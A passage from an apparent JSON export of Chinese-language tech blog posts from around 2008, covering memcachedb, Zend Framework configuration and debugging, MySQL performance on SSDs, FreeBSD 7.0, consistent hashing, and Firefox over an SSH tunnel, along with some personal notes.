    "body": "<a href=\"http://code.google.com/p/memcachedb/\">memcachedb</a> 是以 <a href=\"http://www.oracle.com/technology/products/berkeley-db/index.html\">Berkeley DB</a> 為 backend 的 <a href=\"http://www.danga.com/memcached/\">memcached</a>-compatible server。\r\n\r\nmemcached 一開始是 <a href=\"http://www.livejournal.com/\">LiveJournal</a> 以大量的 memory 作為 cache 加速用。除了 <a href=\"http://www.perl.org/\">Perl</a> 本身外，後來在各平台上都有對應的 library 可以用，而且也被證實他的效果很棒，<a href=\"http://www.facebook.com/\">Facebook</a> 甚至弄了兩百台 16GB 的機器來跑 memcached。\r\n\r\n最初的版本有一些架構上的問題，像是最原始的 memcached 是先計算 key 的 <a href=\"http://en.wikipedia.org/wiki/Cyclic_redundancy_check\">CRC32</a>，再算餘數而決定是哪一台機器。這使得新增或移除機器時，會造成整個 cache 大洗牌，後來引入 <a href=\"http://en.wikipedia.org/wiki/Consistent_hashing\">Consistent Hashing</a> 後就解決了，而且 Consistent Hashing 的觀念並不難懂，很多 memcached client library 都有實做。\r\n\r\n另外是 cache server 重開後會因為要重新計算，會有一段時間網站變慢，<a href=\"http://www.wikipedia.org/\">Wikipedia</a> 裡有人試著改了一個以 Berkeley DB 為底層的版本，後來不知道什麼原因又改回 memcached 了。\r\n\r\n現在這個 memcachedb 是以 Berkeley DB 4.6 為基礎，利用 BDB 提供的 Replication 提供高可靠度，並想辦法維持相同的效能。另外，因為使用 Berkeley DB，所以 disk 也被當作 storage，也希望可以利用更大的空間提高 cache hitrate。\r\n\r\n不過有些地雷還是要注意，如果有要使用的人，應該要訂 mailing list 看上面的討論。目前最常遇到的地雷是可以接受的 key 與 value 的長度異常的小，我在 porting 0.0.x 版到 <a href=\"http://www.freebsd.org/ports/\">FreeBSD ports</a> 時有把 key 修正到 128bytes (原來是 16bytes)，不過這點在 1.0.0 beta 應該修掉了，因為我在更新時翻過 header file，裡面沒有再看到這個限制，不過使用上可能還是要注意一下。\r\n\r\n另外 memcached 原作者 <a href=\"http://bradfitz.com/\">Brad Fitzpatrick</a> 似乎對於 Berkeley DB 版本的效率感到好奇，有跟 memcachedb 的原作者討論一些架構上的想法，也許這兩位會擦出什麼火花...",
    "title": "memcachedb"
  },
  {
    "id": "1432",
    "body": "這幾天除了在<a href=\"http://blog.gslin.org/archives/2008/02/14/1426/\">寫簽呈</a>外，其他大多數的時間都在玩 <a href=\"http://framework.zend.com/\">Zend Framework</a>。\r\n\r\nZend Framework 與其他的 Framework 有個很大的地方不同，他所有的套件都是可以拆開來用的，也因為如此，有許多人覺得 Zend Framework 其實只是另外一套 <a href=\"http://pear.php.net/\">PEAR</a> 而提出批評。不過我後來對於這些想法看的比較開了，只要會抓貓的都是好老鼠... (XD)\r\n\r\n文件如同 <a href=\"http://www.php.net/\">PHP</a> 的慣例都蠻齊全的，在文件裡就有很多 sample code，大多數測試一下就可以用了。\r\n\r\n不過我自己在測 <a href=\"http://framework.zend.com/manual/en/zend.controller.html\">Zend_Controller</a> 的時候卡住，用了三天時間還是解決不了，最終在學弟給的 sample code 比較後找到問題，希望以後開發速度可以快很多...",
    "title": "Zend Framework"
  },
  {
    "id": "1433",
    "body": "最近進了四顆<a href=\"http://shop.transcend.com.tw/product/ItemDetail.asp?ItemID=TS32GSSD25-M\">創見 SSD MLC 顆粒 32GB 硬碟</a> (連結應該沒錯) 跑 RAID 1+0，就讓 <a href=\"http://jnlin.org/\">jnlin</a> 在 <a href=\"http://www.debian.org/\">Debian</a> 上跑 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.1 測試 <a href=\"http://dev.mysql.com/doc/mysql/en/MyISAM.html\">MyISAM</a> 的效率，測試的結果相當慘，寫入的速度在個位數 qps (對... &lt;10 query per second)，而且不是模擬資料，是 Real Data 的 Replication Update...\r\n\r\n測過的 Filesystem 包括 <a href=\"http://en.wikipedia.org/wiki/Ext3\">ext3</a> 與 <a href=\"http://oss.sgi.com/projects/xfs/\">XFS</a>，block size 也調整過好幾次，RAID 1+0 的部份是軟體做，這部份的 block size 也調整過，不過不管怎麼測，速度都還是上不去。\r\n\r\n在 <a href=\"http://www.mtron.net/\">Mtron</a> SSD 硬碟還沒有開始在台灣代理之前，用一堆 RAM 加上 15K RPM SCSI 硬碟做 RAID 1+0 比較便宜，而且也比較穩定...\r\n\r\n<strong>Update</strong>：我要求 jnlin 將測試的想法丟到網頁上，現在可以在他的 blog 上看到了：「<a href=\"http://jnlin.org/2008/03/01/273/\">MySQL 在創見 SSD 上的測試</a>」。",
    "title": "MySQL 在創見 SSD 上跑的情況"
  },
  {
    "id": "1434",
    "body": "開始使用 <a href=\"http://framework.zend.com/\">Zend Framework</a> 後，一些設定上的想法。\r\n\r\n首先是 Zend Framework 的引入設定，有些文章會建議放到 <code>php.ini</code> 裡，在 <code>include_path</code> 引入，但我認為比較好的方式是在 <code>index.php</code> 裡引入：\r\n<blockquote><code>set_include_path(get_include_path() . ':' . dirname(__FILE__) . '/../weblib/ZendFramework-1.5.0PR/library');</code></blockquote>\r\n如果大家都共用系統的 library，那麼在升級時很有可能會中獎。至於這個指令對於系統效率的部份，我覺得這個東西差不了多少，不需要對此計較，先把時間花在其他地方比較好。\r\n\r\n再來是 <code>.htaccess</code> 的部份，<a href=\"http://www.zend.com/\">Zend</a> 的文件上建議把 css/js 之類的靜態圖檔設定到 Regular Expression 裡分開，我的建議是全部都丟給 <code>index.php</code>，然後靜態圖檔用另外一個 domain 放：\r\n<blockquote><pre>#\r\nRewriteEngine On\r\nRewriteBase /~gslin/zendtest\r\nRewriteRule .* index.php [L]</pre></blockquote>\r\n原因是一開始先稍微規劃，先用一台機器跑 VirtualHost 服務兩個 domain，之後長大了才容易拆開。當靜態圖檔的量大到會影響動態的部份時，抽出來用 <a href=\"http://www.lighttpd.net/\">lighttpd</a> 吐。\r\n\r\n然後，既然都用了 Framework 這種東西，<a href=\"http://pecl.php.net/package/APC\">APC</a> 之類的 opcode accelerator 一定要裝，不然速度會很慢。另外 APC 預設 30MB 的 cache 可能會不夠用，調大一點會比較好。\r\n\r\n用 <a href=\"http://httpd.apache.org/\">Apache</a> 一定要用 <a href=\"http://www.fastcgi.com/\">FastCGI</a> 把 <a href=\"http://www.php.net/\">PHP</a> 抽出來跑，不要用 mod_php5 的模式跑。這樣 Apache 就可以用 event 或是其他 threading MPM 執行，對於效率會有很大的改善，我在去年年底有寫過：<a href=\"http://blog.gslin.org/archives/2007/12/14/1386/\">Apache 2.2 的 MPM Event</a>。\r\n\r\n基本上效率不要太斤斤計較，因為很有機會一個 SQL slow query 的改善，就可以大幅度改善整體的效率。現在一台看起來還算暴力的 x86-64 1U 伺服器不用 100k 就有一台 (雙四核心 Xeon 加上 12GB RAM 與 SCSI*2)，把人力時間花在開發上面比較實際...",
    "title": "Zend Framework 的一些設定上的想法"
  },
  {
    "id": "1435",
    "body": "我有三天的時間卡在 <a href=\"http://framework.zend.com/manual/en/zend.controller.html\">Zend_Controller</a> 的使用問題，不管怎麼用都會丟出 500 Internal Server Error。後來不斷的測試，發現他根本就會動，只是我測試的方法有問題。\r\n\r\n先講一下 <code>Zend_Controller</code> 的用法，在引入 <code>Zend_Controller_Front</code> class 後 (方法請參考官方網站的說明)：\r\n<ul>\r\n\t<li>先用 <code>$ctrl = Zend_Controller_Front::getInstance();</code> 取得 controller。(跟 <a href=\"http://blog.xuite.net/rookierookie/moe/13888963\">I HAVE CONTROL</a> 無關... 看不懂笑點的請參考 <a href=\"http://komica.dyndns.org/wiki/?Clannad%2000\">CLANNAD 00</a>)</li>\r\n\t<li>用 <code>$ctrl-&gt;setParam('noViewRenderer', TRUE);</code> 將預設啟用的 Renderer Helper 閹掉。</li>\r\n\t<li>然後用 <code>$ctrl-&gt;addControllerDirectory('目錄位置');</code> 設定 Controller 目錄。</li>\r\n\t<li>最後用 <code>$ctrl-&gt;dispatch();</code> 開始跑。</li>\r\n</ul>\r\n然後 controller 的目錄下放 <code>IndexController.php</code> 就會對應 <code>http://host/index</code> 以及 <code>http://host/</code> (因為 index 是特殊的存在)，放 <code>TestController.php</code> 就會對應 <code>http://host/test</code>，這些在官方文件裡都有還算清楚的範例。\r\n\r\n我的錯誤是在，我錯誤的使用 GET 的 proxy 模擬 HTTP Request。簡單的說，以下的 HTTP Request 會造成 500：\r\n<blockquote><code>GET http://test.host.domain/test HTTP/1.1\r\nHost: test.host.domain</code></blockquote>\r\n但這個不會：\r\n<blockquote><code>GET /test</code> HTTP/1.1\r\nHost: test.host.domain</blockquote>\r\n而我用 <a href=\"http://search.cpan.org/dist/libwww-perl/\">libwww-perl</a> 內附的 <code>GET</code> 這個「指令」測試：\r\n<blockquote><code>GET -SUe -p http://test.host.domain:80/ http://test.host.domain/test</code></blockquote>\r\n這個指令會送出第一類 HTTP Request，於是就噴了... 就只是這樣的問題而已。",
    "title": "Zend Framework 中，Zend_Controller 測試時遇到的問題"
  },
  {
    "id": "1436",
    "body": "紀錄一下情況：(2/24)\r\n\r\n12:12 &lt;@chinsan_&gt; http://doxory.com/choice/1813  #bsdchat 要不要從 IRCNET 改搬到 freenode？\r\n12:12 &lt;@chinsan_&gt; 要表決看看嗎？\r\n12:13 &lt;@mjhsieh&gt; 順便改成 utf8? # 推廣 utf8...\r\n12:14 &lt;@chinsan_&gt; hmmm...\r\n12:14 &lt;@in2&gt; 果真這種服務完全沒有忠誠度可言 XD\r\n12:17 &lt; PipperL&gt; 忠誠度又沒有專屬頻寬 XD\r\n12:18 &lt;@chinsan_&gt; 忠誠度又沒有專屬小島 XD\r\n12:37 &lt;@yinjieh&gt; 搬吧 不過到時候就不能這樣 OP 狂發了 (?)\r\n12:39 &lt;@gslin_cs&gt; yinjieh: 沒什麼不可以的啊 XD\r\n12:43 &lt;@yinjieh&gt; gslin_cs: 報告是！XD\r\n12:43 &lt;@yinjieh&gt; 那就馬上搬 (?)\r\n12:45 &lt;@yinjieh&gt; 只有我投票啊？XD\r\n12:45 &lt;@yinjieh&gt; 話說有人已經搬過去了嗎\r\n12:45 &lt;@hcchien&gt; 那我也要\r\n12:45 &lt;@gslin_cs&gt; 我剛剛加進去發現有人註冊過了？\r\n12:45 &lt;@gslin_cs&gt; UTF-8 對吧\r\n12:46 &lt;@gslin_cs&gt; 搬過去順便換\r\n12:46 &lt;@hcchien&gt; 投搬家 + utf 一票\r\n12:46 &lt;@sharity&gt; gogogomoving\r\n12:46  * sharity (CS-ing)",
    "title": "#bsdchat 搬到 freenode 上，換 UTF-8 編碼"
  },
  {
    "id": "1437",
    "body": "兩件雜事...\r\n\r\n因為這個禮拜以及上個禮拜都在衝簽呈的進度，星期二總算是告一段落，星期四利用十六個小時的睡眠暫時舒緩了一些疲勞...\r\n\r\n另外一件事情是 <a href=\"http://www.layeredtech.com/\">Layeredtech</a> 有特價，而且還可以再用 payment 打折：<a href=\"https://order.layeredtech.com/ConfigureServer.lt?method=display&productId=1590\">$99/month 的 P4-2.8GHz + 2GB/RAM + 500GB/HD + 100Mbps Uplink + 1500GB/Bandwidth</a>、<a href=\"https://order.layeredtech.com/ConfigureServer.lt?method=display&productId=1591\">$115 的 P4-3.4GHz + 與前面一樣的條件</a>。信件裡提到了很多，有需要的人我再 forward...",
    "title": "放假"
  },
  {
    "id": "1439",
    "body": "給一些老朋友的資訊。\r\n\r\nBBS 資料應該沒事，但是機器本身的 SCSI 介面卡似乎有問題，要找時間去機器前面處理。現在變成上班族並不是這麼方便... (笑)\r\n\r\n<strong>Update</strong>：現在在機器前處理了。\r\n\r\n<strong>Update 2</strong>：處理完了。",
    "title": "小鹿鹿 (BBS)"
  },
  {
    "id": "1440",
    "body": "<a href=\"http://framework.zend.com/manual/en/zend.cache.html\">Zend_Cache</a> 是我一開始用 <a href=\"http://framework.zend.com/\">Zend Framework</a> 的主因之一，除了包裝的不錯，使用 tag 的概念也讓我很在意：\r\n<blockquote>Caching in Zend Framework is operated by frontends while cache records are stored through backend adapters (File, Sqlite, Memcache...) through a flexible system of IDs and tags. Using those, it is easy to delete specific types of records afterwards (for example: \"delete all cache records marked with a given tag\").</blockquote>\r\n如果 cache 可以用 tag 處理的話，cache invalidate 的管理上會變得非常的容易。\r\n\r\n用 File Backend 測了一下 tag 的功能發現沒什麼問題，但一直想不太出來在 <a href=\"http://www.danga.com/memcached/\">Memcache</a> 上面要怎麼實做 (而且要 atomic)，後來實際拿 Memcache Backend 測了以後發現 tag 的功能在 Memcache Backend 上面不支援，翻了翻 source code 也確定了這件事情 XD\r\n\r\n最近有人在 mailing list 上提到 <a href=\"http://code.google.com/p/memcached-tag/\">memcached-tag</a> 這個子計畫，看起來是有關係的 :p",
    "title": "Zend_Cache 與 Memcache Backend"
  },
  {
    "id": "1441",
    "body": "最近很少寫 Blog (程式沒寫幾行，倒是一堆行政上面的事情)，不過 <a href=\"http://twitter.com/\">Twitter</a> 上倒是常常念。\r\n\r\n最近忙一些事情，像是寫不完的採購簽呈 (還好有一部分交給 <a href=\"http://slzzp.blogspot.com/\">slzzp</a> 了)，然後是開不完的會，如果要抽時間寫程式的話，就得在一般人下班後才有空了...\r\n\r\n不管怎麼樣，最近看 jnlin 玩，以及我自己玩一些東西，有些有趣的想法，寫下來紀錄起來。\r\n\r\n<a href=\"http://www.freebsd.org/\">FreeBSD</a> 7.0 的 SCHED_ULE 長期觀察下來 (超過兩個月) 算是相當穩定，這點在目前 <a href=\"http://www.pixnet.net/\">PIXNET</a> 的 Web Server 端可以看出來 (在 FreeBSD 跑 apache22 event 是使用 threading，配合 <a href=\"http://www.fastcgi.com/\">FastCGI</a> 跑 <a href=\"http://www.php.net/\">PHP</a>)，但 <a href=\"http://wiki.freebsd.org/gjournal\">gjournal</a> 與 <a href=\"http://en.wikipedia.org/wiki/ZFS\">ZFS</a> 在效率以及穩定度上都還不堪使用。(指 heavy I/O)\r\n\r\nMyISAM 的讀取速度非常快，但不利於大量 Update (因為寫入的動作需要 table lock)。在國外的討論裡，一般都是推薦使用 <a href=\"http://www.innodb.com/\">InnoDB</a> 解決這類 table 的情況，但實際上目前 InnoDB 的備份問題比起 MyISAM 麻煩 (經驗也是一個大問題)，這點可能還要再考慮。\r\n\r\n要解決 table lock 的問題，另外一種方式是透過拆 table，而且目前看起來拆 table 撐 performance 的方式似乎相當可行 (在概念上，這是一種 <a href=\"http://codex.wordpress.org/HyperDB\">HyperDB</a> 的變形)，所以最近應該會對這個方向大量研究。不過就得做不少 Denormalize 的事情，還是得累積經驗...\r\n\r\n如果有想到其他值得提的事情再寫好了...",
    "title": "Twitter"
  },
  {
    "id": "1442",
    "body": "這陣子 Video site 的一些大事情：<a href=\"http://www.divx.com/company/press/press_detail.php?pr_id=290\">Stage6 宣佈關站</a>、<a href=\"http://www.macrumors.com/2007/06/01/youtube-for-apple-tv-uses-h-264-not-flash/\">YouTube 開始支援 H.264</a>、<a href=\"http://japan.cnet.com/blog/staff/2008/03/03/entry_25005711/\">ニコニコ動画也開始支援 H.264</a>。\r\n\r\n無形中開始推動舊版的 <a href=\"http://www.adobe.com/products/flashplayer/\">Flash Player</a> 升級到最新版... (似乎是好事？)",
    "title": "Flash Player H.264"
  },
  {
    "id": "1443",
    "body": "<a href=\"http://zh.wikipedia.org/wiki/%E4%B8%8A%E6%A9%8B%E8%8F%9C%E7%A9%97%E5%AD%90\">上橋菜穗子</a>在 1996 年寫的小說《<a href=\"http://zh.wikipedia.org/wiki/%E5%AE%88%E8%AD%B7%E8%80%85%E7%B3%BB%E5%88%97\">精靈守護者</a>》被 <a href=\"http://www.productionig.com/\">Production I.G</a> 動畫化後，<a href=\"http://www.spp.com.tw/\">尖端出版</a>也取得代理出版。(尖端出版與我目前所在的 <a href=\"http://www.pixnet.net/\">PIXNET</a> 都屬於<a href=\"http://www.cph.com.tw/\">城邦集團</a>)\r\n\r\n會買這本書其實完全是個意外。我相當喜歡《精靈守護者》的動畫，但是當時看動畫的時候，並沒有看到有出版社要代理小說的消息，也就一直沒管他。直到前陣子跟 <a href=\"http://slzzp.blogspot.com/\">slzzp</a> 在城邦的書局<a href=\"http://readingclub.cite.com.tw/\">書虫</a>看到這本書的時候，才發現是尖端出版取得授權，就直接在書虫把小說買下來了。\r\n\r\n剛剛把《精靈守護者》的原作小說看完後，完全同意 <a href=\"http://blog.xuite.net/rookierookie\">rookierookie</a> 在「<a href=\"http://blog.xuite.net/rookierookie/moe/16057463\">精靈守護者</a>」這篇所講的，上橋菜穗子與 Production I.G 所作的動畫版比小說版好。\r\n\r\n這也許是因為上橋菜穗子在寫完整個「守護者系列」的小說後，動畫版才找他進來參與，所以在思緒上會比當初寫的時候清楚，也可以趁機補一些劇情進去，讓故事變得更合理 (更流暢)；在劇情的安排上，動畫把小說一冊的內容放到兩季做，時間的安排相當充裕，劇情完全不會交待不清。在這兩個因素下，我完全同意 rookierookie 對於動畫版與小說的評比... (相比之下，《<a href=\"http://zh.wikipedia.org/wiki/%E7%8B%BC%E8%88%87%E8%BE%9B%E9%A6%99%E6%96%99\">狼與辛香料</a>》把兩冊的內容放到一季做，果然就... -__-)\r\n\r\n所以對於還沒接觸的人，我也是推薦從動畫著手，小說的部份雖然不差，但是動畫真的太出色了... :p",
    "title": "《精靈守護者》小說"
  },
  {
    "id": "1445",
    "body": "雖然 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 3 很容易當掉，但我已經相當習慣他當掉了，所以我的四組電腦都是用地雷版 (家裡與公司的 Desktop、X31、R60)。\r\n\r\n四台電腦有幾乎一樣的 addons，但很多 addons 都是 Firefox 2.0.0.x only，不過實際上在 Firefox 3 上跑其實很正常，所以需要動一些手腳讓 Firefox 可以用。\r\n\r\n我發現很多人都是修改 addons 裡的 <code>install.rdf</code>，甚至教學文都是介紹這個方法，看起來 <a href=\"http://www.oxymoronical.com/web/firefox/nightly\">Nightly Tester Tools</a> 這個<strong>可以關閉 addons 版本檢查</strong>的套件已經被遺忘很久了... 在這個套件安裝後，並不會馬上把 Plugins 版本檢查的功能關閉，需要設定一下，設定完以後就可以直接亂裝一堆軟體測試。\r\n\r\n對於修改 <code>install.rdf</code> 感到疲倦的人請務必試用看看，相當好用啊...",
    "title": "使用 Firefox 新版 (地雷版) 時必要的武器"
  },
  {
    "id": "1446",
    "body": "星期六下午跟好幾個親戚去淡水舊街玩，照片都丟在「<a href=\"http://www.flickr.com/photos/gslin/sets/72157604072470623/\">淡水舊街 (2008/03/08)</a>」裡以及「<a href=\"http://www.flickr.com/photos/betea/sets/72157604076686059/\">970308淡水</a>」裡了。\r\n\r\n先是從紅樹林站搭到淡水站，然後進入舊街開始吃吃喝喝聊天，到<a href=\"http://www.redcastle-taiwan.com/\">淡水紅樓</a>上逛，然後最後搭船到<a href=\"http://www.fisherman.com.tw/\">漁人碼頭</a>被海浪弄濕後，跑去親戚家稍微弄一弄，公車轉捷運再轉公車回家 :p\r\n\r\n中間有很多過程就懶得提了，都是親戚間的八卦話題... (狂笑)\r\n\r\n另外，這次出去玩稍微改變了「手機拍出來的照片很差」的印象，因為我第一隻有照相功能的手機是 <a href=\"http://www.sonyericsson.com/T610/\">Sony Ericsson T610</a>，0.3M pixel 的效果完全不行，這次帶出去的是 3.2M pixel 的 <a href=\"http://www.nokia.com.tw/link?cid=PLAIN_TEXT_706450\">Nokia 5610</a>，效果就好很多，用手機拍起來還蠻順的，之後應該會常常亂拍吧 :p",
    "title": "淡水舊街"
  },
  {
    "id": "1447",
    "body": "半年沒出新版的 <a href=\"http://www.lighttpd.net/\">lighttpd</a> 把現有的 patch (以及 1.5 backport 回 1.4 的部份) 整理出來，出了新版：<a href=\"http://www.lighttpd.net/2008/3/10/1-4-19-made-in-germany\">1.4.19 - Made in Germany</a>。\r\n\r\n這個版本幾乎都是 bug fix，新功能的部份似乎只有兩個 (最開頭的兩個)，我自己還不會先使用... (沒時間的時候不要亂玩可能是地雷的東西 XD)",
    "title": "lighttpd 1.4.19"
  },
  {
    "id": "1448",
    "body": "貼一個<a href=\"http://www.nicovideo.jp/\">ニコニコ動画</a>看到的影片。\r\n\r\n<iframe width=\"312\" height=\"176\" src=\"http://www.nicovideo.jp/thumb/sm751848\" scrolling=\"no\" style=\"border:solid 1px #CCC;\" frameborder=\"0\"><a href=\"http://www.nicovideo.jp/watch/sm751848\">【ニコニコ動画】アニメ「sola」OPテーマ と 「ef」のOP動画とを合わせてみた</a></iframe>\r\n\r\n這兩部作品分別是：<a href=\"http://zh.wikipedia.org/wiki/Ef_-_a_fairy_tale_of_the_two.\">ef - a fairy tale of the two.</a> 與 <a href=\"http://zh.wikipedia.org/wiki/Sola\">sola</a>。",
    "title": "ef 與 sola"
  },
  {
    "id": "1450",
    "body": "隔了兩天才寫這篇... Anyway，裡面的錢不多，證件與卡片比較麻煩，全部掛失後跑補發流程。\r\n\r\n然後發現身份證可以用<a href=\"http://moica.nat.gov.tw/\">自然人憑證</a>掛失 (結果一起丟了 orz)，郵局 (<a href=\"http://www.post.gov.tw/\">中華郵政</a>) 的 0800-700365 有時候會變成空號... (多撥幾次又會通了 XD)",
    "title": "皮夾掉了"
  },
  {
    "id": "1451",
    "body": "在北京上網時，有些網站會連不上，大多數的情況下可以透過 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\">PuTTY</a> 建 SSH Tunnel，把 HTTP 連線透過 PuTTY 加密就可以了。但是有時候是因為 domain 解出不同的 IP address 而造成連不上，像是 totorogo.dyndns.org。\r\n\r\n這時候就要用 about:config 把 <code>network.proxy.socks_remote_dns</code> 改成 true，要求 <a href=\"http://www.mozilla.org/firefox/\">Firefox</a> 將查詢 DNS 的需求透過 PuTTY 所建出來的 Socks5 Tunnel 送出詢問，目前看起來還蠻正常的，暫時先這樣用看看...",
    "title": "Firefox over SSH Tunnel"
  },
  {
    "id": "1452",
    "body": "在 <a href=\"http://simonwillison.net/2008/Mar/18/consistent/\">Simon Willison's Weblog</a> 上看到講 <a href=\"http://en.wikipedia.org/wiki/Consistent_hashing\">Consistent Hashing</a> 的文章，剛好這次去北京開會的時候也有提到 <a href=\"http://www.allthingsdistributed.com/2007/10/amazons_dynamo.html\">Amazon's Dynamo</a>，其實在 paper 裡面的 Partitioning Algorithm 這一節就講得很清楚，不過這篇用更長的篇幅來解釋：<a href=\"http://www.spiteful.com/2008/03/17/programmers-toolbox-part-3-consistent-hashing/\">Programmer’s Toolbox Part 3: Consistent Hashing</a>。\r\n\r\n以往資料要放到 n 台機器上，最簡單的方法就是取餘數 (<code>hash_value % n</code>) 然後放到對應的機器上，但在這個架構上面如果要加機器，會使得資料大幅度的移動。Consistent Hashing 所解決的就是讓資料的搬移量降低。",
    "title": "Consistent Hashing"
  },
  {
    "id": "1453",
    "body": "在 <a href=\"http://jeffr-tech.livejournal.com/\">Jeff Roberson</a> (也就是目前 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 上 SCHED_ULE 的維護者) 的 blog 上說了這樣的話：(<a href=\"http://jeffr-tech.livejournal.com/20425.html\">原文章連結</a>)\r\n<blockquote>MyISAM performance is terrible in FreeBSD 7.0 due to the user-space pthread_rwlock implementation. Just a word of warning if you intend to deploy a database server based on 7.0. I am certain we will have this fixed in 7.1. It will most likely be in CURRENT in a week or two.</blockquote>\r\n所以不是我在「<a href=\"http://blog.gslin.org/archives/2008/02/06/1422/\">FreeBSD 上的 MySQL 效率</a>」這裡想的 Filesystem I/O 問題？來等 Jeff Roberson 的 patch 吧...",
    "title": "MyISAM 在 FreeBSD 上效率不好的原因？"
  },
  {
    "id": "1454",
    "body": "在 <a href=\"http://brad.livejournal.com/\">Brad Fitzpatrick</a> 那邊看到一個疑似 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> JS engine 處理 DNS query 時的 bug 造成的 hang：<a href=\"http://brad.livejournal.com/2371794.html\">Firefox + PAC considered harmful</a>，在 <a href=\"http://www.mozilla.org/\">Mozilla</a> 的 <a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=235853\">Bug 235853</a> 裡有完整的說明。\r\n\r\n所以自己寫 PAC 的人，一種解決方法是改用 <a href=\"https://addons.mozilla.org/en-US/firefox/addon/2464\">FoxyProxy</a>，另外一種則是暫時把地雷函式暫時改寫？\r\n\r\nPS：最近開使用 FoxyProxy，發現對於一些連線的處理上不像以前要手動改 Proxy，方便許多，應該會列入以後重裝時的套件吧...",
    "title": "Firefox 的 DNS query (在 PAC 裡)"
  },
  {
    "id": "1455",
    "body": "趁著 <a href=\"http://www.layeredtech.com/\">Layeredtech</a> 特價，把主機從 Layeredtech 換到 Layeredtech (因為新的主機方案機器比較好，費用又比較低...)，順便把 <a href=\"http://www.lighttpd.net/\">lighttpd</a> 換回 <a href=\"http://httpd.apache.org/\">Apache</a> 2.2。\r\n\r\n有不少東西需要調整，到時候看看要怎麼處理吧...\r\n\r\nPS：在 <a href=\"http://www.layeredtech.com/dedicated-servers/specials.php\">Current Server Specials &amp; Close-Outs</a> 有現在的特價方案，有興趣的可以去翻翻看...",
    "title": "換主機"
  },
  {
    "id": "1456",
    "body": "<a href=\"http://framework.zend.com/\">Zend Framework</a> 前陣子釋出 1.5.0 正式版了，與 1.5.0-RC 系列沒有太大差別，所以沒支援的還是得自己想辦法。\r\n\r\nController 的部份，<a href=\"http://framework.zend.com/manual/en/zend.controller.html\">Zend_Controller</a> 沒什麼問題，最基本的配置方式都已經摸熟了，也覺得算是還蠻好用的。\r\n\r\nView 的部份，<a href=\"http://framework.zend.com/manual/en/zend.view.html\">Zend_View</a> 畢竟是 <a href=\"http://www.php.net/\">PHP</a> 語法，看起來就不太討喜，加上我們是使用 <a href=\"http://code.google.com/p/google-ctemplate/\">Google cTemplate</a>，其實以目前狀況算是還不錯，要另外再學一套的話要先考慮好處夠不夠足以換掉。<a href=\"http://blog.pixnet.net/far\">far</a> 最近在研究這方面，而我則是想使用 <a href=\"http://smarty.php.net/\">Smarty</a>。但不管是哪種方案，View 的部份看起來沒什麼問題。\r\n\r\n真正的問題在 Model，你可以在 Zend Framework 的文件裡面看到 \"models\" 的目錄配置 (像是在 <a href=\"http://framework.zend.com/manual/en/zend.controller.modular.html\">Using a Conventional Modular Directory Structure</a> 裡)，但實際上 trace code 發現沒有對 model 支援。如果你自己寫了一個 Model 放到 models 裡，也沒有很方便的方法讓 Controller 裡的 code 使用，目前我想到的 dirty work 是 <code>require_once(dirname(__FILE__) . '/../models/UserModel.php')</code>。\r\n\r\n有誰用 ZF 開發有遇到同樣問題的嗎？",
    "title": "缺乏 Model 支援的 Zend Framework"
  },
  {
    "id": "1457",
    "body": "如果 bug 愈找愈久，代表那個 bug 一定很笨 XD\r\n\r\n像是今天一整天跟 <a href=\"http://blog.pixnet.net/ronnywang\">ronnywang</a> 在找一個 <a href=\"http://framework.zend.com/manual/en/zend.db.html\">Zend_Db</a> 會爛掉的 bug，最後發現是因為 <a href=\"http://pecl.php.net/package/PDO_MYSQL\">PDO_MYSQL</a> 沒裝... XD\r\n\r\n愈來愈多關節打通了，接下來就來衝吧...",
    "title": "一些雜記"
  },
  {
    "id": "1458",
    "body": "<a href=\"http://www.opera.com/\">Opera</a> 與 <a href=\"http://webkit.org/\">Webkit</a> 兩個 browser (engine) 已經先完成 <a href=\"http://acid3.acidtests.org/\">Acid3</a> 100% Pass：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2365489917/\"><img src=\"http://farm3.static.flickr.com/2031/2365489917_145caa19c7.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2365489915/\"><img src=\"http://farm4.static.flickr.com/3045/2365489915_e269a2fa88.jpg\" alt=\"\" /></a>\r\n\r\n看 <a href=\"http://www.wikipedia.org/\">Wikipedia</a> 上的資料，這次 Opera 比 Webkit 快應該是為了報 <a href=\"http://en.wikipedia.org/wiki/Acid2\">Acid2</a> 時的仇... (Acid2 由 Opera 的 CTO 所發表，但當時第一個達成 non-public build 100% pass 的卻是 Safari XDDD)\r\n\r\n<strong>Update</strong>：結果因為一個 bug 造成翻盤，參考 comment 裡 zmx 提供的 url。",
    "title": "Opera 與 Webkit 相繼達成 Acid3 100% Pass 目標"
  },
  {
    "id": "1459",
    "body": "昨天 <a href=\"http://www.mtron.net/\">Mtron</a> SSD 硬碟 3.5\" 32GB*2 終於到了，上線後測試發現與之前的 SSD 硬碟完全不同，以 <a href=\"http://dev.mysql.com/\">MySQL</a> 的啟動時效率來看，足以殲滅 15KRPM SCSI*4 (RAID10)。(剛啟動時因為 key buffer 還沒有 cache，會需要一段時間速度才會慢慢上來，在 15KRPM 的 RAID10 SCSI 上需要幾分鐘，但 Mtron SSD 幾乎不需要 slow start)\r\n\r\n其他的就不多說了，目前是 <a href=\"http://jnlin.org/\">jnlin</a> 在測試，請參考他寫的「<a href=\"http://jnlin.org/2008/03/27/278/\">Mtron SSD 在 MySQL (MyISAM) 上跑了兩個小時</a>」這篇，之後應該會有一些數據可以看。目前已經是卡在 CPU bound 了，接下來要期待 <a href=\"http://jeffr-tech.livejournal.com/\">Jeff Roberson</a> 對於 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 上 pthread_rwlock 的改善。\r\n\r\nRef：「<a href=\"http://blog.gslin.org/archives/2008/02/22/1433/\">MySQL 在創見 SSD 上跑的情況</a>」",
    "title": "Mtron SSD 硬碟"
  },
  {
    "id": "1460",
